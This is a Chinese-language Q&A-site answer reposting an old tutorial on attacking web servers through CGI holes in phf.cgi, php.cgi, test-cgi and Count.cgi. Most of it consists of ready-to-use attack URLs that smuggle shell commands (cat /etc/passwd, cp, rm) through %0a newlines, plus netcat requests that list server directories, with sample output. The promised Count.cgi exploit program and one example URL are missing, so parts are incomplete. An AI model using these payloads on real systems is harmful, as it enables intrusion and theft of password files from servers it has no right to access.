CGI漏洞向来是容易被人们忽视的问题

如题所述

CGI漏洞向来是容易被人们忽视的问题,同时也是普遍存在的,攻破PCWEEK LINUX的黑客就是利用了CGI的一个漏洞。我就自己所知道的和从外国站点看来的一些CGI漏洞来写一些利用CGI的攻击方法,水平有限写得不对的地方请来信告诉我:[email protected]
一、phf.cgi攻击:
phf是大家所熟悉的了,它本来是用来更新PHONEBOOK的,但是许多管理员对它不了解以至于造成了漏洞。在浏览器中输入:
http://thegnome.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
可以显示出PASSWD文档来。其实还可以用更好的命令来实现目的:
http://thegnome.com/cgi-bin/phf?%0aid&Qalias=&Qname=haqr&Qemail=&Qnickna
me=&Qoffice_phone=
http://thegnome.com/cgi-bin/phf?%0als%20-la%20%7Esomeuser&Qalias=&Qname=
haqr&Qemail=&Qnickname=&Qoffice_phone=
http://thegnome.com/cgi-bin/phf?%0acp%20/etc/passwd%20%7Esomeuser/passwd
%0A&Qalias=&Qname=haqr&Qemail=&Qnickname=&Qoffice_phone=
http://thegnome.com/~someuser/passwd
http://thegnome.com/cgi-bin/phf?%0arm%20%7Esomeuser/passwd&Qalias=&Qname
=haqr&Qemail=&Qnickname=&Qoffice_phone=
以上等于执行了命令:
id
ls -la ~someuser
cp /etc/passwd ~someuser/passwd
(用普通的可以进入的目录来看passwd)
rm ~someuser/passwd
二、php.cgi
除了PHF以外,php也是常见的漏洞,php.cgi 2.0beta10或更早版本中,允许anyone以
HTTP管理员身份读系统文件,在浏览器中输入:
http://boogered.system.com/cgi-bin/php.cgi?/etc/passwd
就可以看到想看的文件。
另外,一部分php.cgi还可以执行shell,原因是它把8k bytes字节放入128bytes的缓冲区中,造成堆栈段溢出,使得攻击者可以以HTTP管理员的身份执行。
但是只有PHP作为CGI脚本时才能实现,而在作为Apache模量是不能运行的。想检查能否运行,只要在浏览器中输入:
http://hostname/cgi-bin/php.cgi
如果你看到返回这样的字样就可以运行:
PHP/FI Version 2.0b10
...
三、test-cgi的问题
test-cgi同样是个常常出现的漏洞,在浏览器中输入:
http://thegnome.com/cgi-bin/test-cgi?\whatever
将会返回:
CGI/1.0 test script report:
argc is 0. argv is .
SERVER_SOFTWARE = NCSA/1.4B
SERVER_NAME = thegnome.com
GATEWAY_INTERFACE = CGI/1.1
SERVER_PROTOCOL = HTTP/1.0
SERVER_PORT = 80
REQUEST_METHOD = GET
HTTP_ACCEPT = text/plain, application/x-html, application/html,
text/html, text/x-html
PATH_INFO =
PATH_TRANSLATED =
SCRIPT_NAME = /cgi-bin/test-cgi
QUERY_STRING = whatever
REMOTE_HOST = fifth.column.gov
REMOTE_ADDR = 200.200.200.200
REMOTE_USER =
AUTH_TYPE =
CONTENT_TYPE =
CONTENT_LENGTH =
再来一次,这样输入:
http://thegnome.com/cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/passwd
看到PASSWD了?
用netcat 80 端口 进行攻击:
machine% echo "GET /cgi-bin/test-cgi?/*" | nc removed.name.com 80
返回:
CGI/1.0 test script report:
argc is 1. argv is /\*.
SERVER_SOFTWARE = NCSA/1.4.1
SERVER_NAME = removed.name.com
GATEWAY_INTERFACE = CGI/1.1
SERVER_PROTOCOL = HTTP/0.9
SERVER_PORT = 80
REQUEST_METHOD = GET
HTTP_ACCEPT =
PATH_INFO =
PATH_TRANSLATED =
SCRIPT_NAME = /bin/cgi-bin/test-cgi
QUERY_STRING = /a /bin /boot /bsd /cdrom /dev /etc /home /lib /mnt
/root /sbin /stand /sys /tmp /usr /usr2 /var
REMOTE_HOST = remote.machine.com
REMOTE_ADDR = 255.255.255.255
REMOTE_USER =
AUTH_TYPE =
CONTENT_TYPE =
CONTENT_LENGTH =
显示出了根目录!这样试试:
machine% echo "GET /cgi-bin/test-cgi?*" | nc removed.name.com 80
返回:
CGI/1.0 test script report:
argc is 1. argv is \*.
SERVER_SOFTWARE = NCSA/1.4.1
SERVER_NAME = removed.name.com
GATEWAY_INTERFACE = CGI/1.1
SERVER_PROTOCOL = HTTP/0.9
SERVER_PORT = 80
REQUEST_METHOD = GET
HTTP_ACCEPT =
PATH_INFO =
PATH_TRANSLATED =
SCRIPT_NAME = /bin/cgi-bin/test-cgi
QUERY_STRING = calendar cgi-archie cgi-calendar cgi-date cgi-finger
cgi-fortune cgi-lib.pl imagemap imagemap.cgi imagemap.conf index.html
mail-query mail-query-2 majordomo majordomo.cf marker.cgi
menu message.cgi munger.cgi munger.note ncsa-default.tar post-query
query smartlist.cf src subscribe.cf test-cgi uptime
REMOTE_HOST = remote.machine.com
REMOTE_ADDR = 255.255.255.255
REMOTE_USER =
AUTH_TYPE =
CONTENT_TYPE =
CONTENT_LENGTH =
显示了/CGI-BIN/目录下的东西。
CGI漏洞的利用(二)
CGI漏洞向来是容易被人们忽视的问题,同时也是普遍存在的,前不久攻破PCWEEK LINUX的黑客就是利用了CGI的一个漏洞。我就自己所知道的和从外国站点看来的一些CGI漏洞来写一些利用CGI的攻击方法,水平有限写得不对的地方请来信告诉我:[email protected]
四、Count.cgi溢出漏洞
Count.cgi(wwwcount)是国外网站经常用的CGI网页计数程序,国内很少有人用它,不过还是有一些网站的CGI-BIN目录下有它,简单说一下它的原理以及利用方法。
出现问题主要是由于QUERY_STRING 环境变量被复制到一个活动缓冲区,造成溢出,允许远程用户以HTTP管理员的身份执行任意命令。
有人写了个程序来利用这个漏洞,只对Count.cgi 24以下版本有效:

五、用Count.cgi看图片
这个不算是很有用的漏洞,可是既然写到这儿了,也就顺便提一下吧。可以利用Count.cgi看WEB目录以外的图片,据作者说有一些商业网站的图片里有一些商业机密,所以这个漏洞也算是有点用处吧!哈哈!
在浏览器中这样输入: 其中/path_to_gif/file.gif是你要看的图片的路径。
注意,这一漏洞只能被用来看(或下载)GIF格式的图片,而不能用于其他类型的文件。
温馨提示:答案为网友推荐,仅供参考
相似回答